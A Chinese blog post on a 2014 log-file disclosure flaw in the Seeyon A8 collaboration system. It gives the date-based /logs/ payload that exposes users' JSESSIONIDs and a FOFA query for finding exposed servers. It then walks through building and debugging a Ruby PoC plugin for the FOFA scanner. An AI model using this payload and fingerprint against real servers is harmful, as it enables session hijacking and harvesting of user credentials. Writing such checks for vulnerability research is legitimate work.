最近在研究历史漏洞的时候发现很多有趣的东西~
致远A8协同管理系统 3.1 /logs/login.log 信息泄露漏洞
漏洞来源:http://wooyun.org/bugs/wooyun-2014-081757
这个漏洞的产生原因是:由于致远A8协同管理系统会对用户登录信息进行日志记录,可是日志文件存放在web目录的logs子目录下,并且未作任何权限控制,测试发现大部分在用系统都存在logs目录遍历漏洞,因此导致致远A8协同管理系统用户登录信息泄露。
我们访问:http://119.60.***.***/logs/
出现了如下界面:
点击进去发现内容如下,啧啧啧。都是最新的用户和他们的JSESSIONID
用JSESSIONID是可以登录成功的~~~
发现有两个版本,测试的时候第一个版本比较多,也就是带日期文件夹的。
所以我们根据第一个版本构造一个payload:
payload = "/logs/" + date + "/login.log." + date + ".1"
date我们用时间对象生成一个就行了,无论是哪门脚本语言,python、ruby、php基本都是有的。Payload的思路是这样的,获取今天的时间,减去一天的时间,得到了昨天的时间,也就是我们的date。如果这个漏洞存在,那么昨天的日志想必也是存在的~
访问的话出现这个图标就是被修复了
Wooyun的那位大牛说用百度搜索引擎,但是在大数据的时代,我还是用网络空间搜索引擎搜索。
这里以fofa为例子,规则:app="用友-致远OA" && title ="A8"
Fofa的好处就是规则比较强大,对指纹识别的抽象程度更高,所以我相对Zoomeye更喜欢fofa一点。
这里有一个python调用fofa的SDK的脚本:https://github.com/fofapro/fofa-py
貌似能免费获取1000条结果,这个和Zoomeye是一样的,没有会员的小哥哥小姐姐就用这个吧,感觉1000条够用了,真的想干坏事还是算了,自己写脚本抓吧。
国内还是有不少网站存在这个漏洞的~~~
有这么一个漏洞可以直接获取好多好多用户的登录名,做APT的话这些用户名就是很重要的信息了。所以,以后挖洞的时候,类似的日志文件也可以留意,感觉这个洞完全是黑盒挖的。
有人说python优雅,也有人说ruby优雅,实际上我保持沉默(因为菜)。用某牛的话来说,凭什么说python性能比ruby好,为什么msf用ruby写的。我默默的翻开《Head First Ruby》,继续学习了。
填好信息之后,切换至测试界面。
一点好处是这个客户端相比Pocsuite和Pocscan框架更便捷。如果用了fofa的框架再去用其他的框架,就如同用惯了windows的用户去用linux或者Mac。反正我是这个感觉。
某牛和我说fofa的客户端局限了fofa的框架,不是很灵活。这点我不认哈,因为最右边还有个编辑器呢~
这样框架生成一个子类继承框架的父类。
分为四个部分:
1、get_info这个方法是获取框架的信息,比如文件名,产品、描述等
2、initialize 初始化
3、vulnerable 验证模块
4、exploit利用模块,一般写poc的时候这个是不用写的,这个是预留的接口。
之前一直以为fofa的框架是死的,只能放固定的URL去请求。
验证的话还好还有个正则。
既然payload的是获取每天的时间,我怎么获取到时间呢?又怎么把它放进请求呢?
后面点进编辑器我发现了其实是可以自己定义一个方法去完成自己的需求的。
框架其实是一个乐高积木,最终拼成什么样功能的脚本要看自己~
不要局限于框架!
方法实现如下:
def PoC today = Time.new payload = "/logs/" + (today - 86400).strftime("%Y-%m-%d") + "/login.log." + (today - 86400).strftime("%Y-%m-%d") + ".1" return payload
这样我就可以获取到payload如下:/logs/2017-06-09/login.log.2017-06-09.1
然后我怎么放到测试URl这边请求呢?
Fofa框架下的get_info模块信息如下:
def get_info { "Name": "致远A8协同管理系统 3.1 /logs/login.log 信息泄露漏洞", "Product": "用友 A8", "Homepage": "https://fofa.so/", "DisclosureDate": "2014-08-17", "Author": "vaf", "FofaQuery": "app=\"用友-致远OA\" && title =\"A8\"", "Level": "3", "ScanSteps": [ "AND", { "Request": { "method": "GET", "uri": "{{{poc}}}", "header": {}, "data": "" }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "200", "bz": "" }, { "type": "item", "variable": "$code", "operation": "regex", "value": "{{{result}}}", "bz": "" } ] }, "SetVariable": [] } ], "Posttime": "2017-06-09 21:25:45", "status": "0" } end
然后initialize的那个模块就从get_info这个方法获取了信息,后续我们就可以使用info这个对象了。
之前同事IEvi萌哥哥和我说可以用一种形式实现。
因为fofascan中有自定义变量这个东西,所谓的自定义变量就是多次请求的时候,用正则等方法取到响应的值做第二次请求,这个请求的值我们称之为自定义变量。它存在的意义就是赋值,比如:int a=1;int b=2;int c= b; b=a ;a=c;
相当于变量的值交换,由于框架的原因,发多次请求的时候需要做类似这个过程的操作~
我这里用正则函数替换掉请求中{{{poc}}}的值。
info['ScanSteps'][1]['Request']['uri'] = info['ScanSteps'][1]['Request']['uri'].gsub("{{{poc}}}",poc)
这样它请求的就是我们时间对象的值了。某牛说这个不够优雅,后面发现其实这个是可以赋值的,我们直接写成:
info['ScanSteps'][1]['Request'][uri] = poc
去掉{{{poc}}},然后把result也赋值个时间值作为验证。
我们发现了这个该用的变量已经被赋值了
扫描的时候发现没有漏洞
逻辑上应该是没有错的啊,难道这框架让某牛升级坏了?我大喊三声:zwell,你fofa坏掉了,你fofa坏掉了,你fofa坏掉了。
他在会员群里说:去你的,又是你小子,滚回去调试。
于是我就下载了RubyMine调试~ 其实装rubymine也是有坑的,加载debug的插件还是要费一些功夫的,这点pycharm做的比较好。
然后某牛发来了6行调试总决。
用rubymine调试需要在poc的最前面加上:
if __FILE__ == $0 require_relative '../fofascan' end
最后面加上:
if __FILE__ == $0 do_my_scan($0, ARGV) end
就这样我按了N次F7,步进步进步进…
终于来到了这里了
Fofa框架的响应包变量,不知道这么称呼专不专业,不专业就请各位大牛打我,教我树立正确的编码观念。
点开下面的response,找到html。
最右边有一个view,点一下就可以看到html源码了
我仿佛惊呆了,这不是主页么,我请求的不是:/logs/2017-06-09/login.log.2017-06-09.1么?
又翻回去看原来我替换的不是uri的值,而是data…
@info['ScanSteps'][1]['Request']['data'] = poc#['uri'] = poc
这里一改就出效果了~
用这位大牛的话来说,验证你漏洞也好程序也罢,输入输出都确定无误,就ok了~~
我们也可以用正则来判断,比较准确,在响应包里匹配一段MD5值
后面zwell给了另一种方法~
如下:
res = make_request(hostinfo, { "method": "GET", "uri": poc, "header": {}, "data": "" }.stringify_keys) res[:html].include?(result)
扫描结果也相同。
最终一番下来,对这个框架的理解和调试方法都有了提高,最重要的是ruby也进步了不少~
往期精彩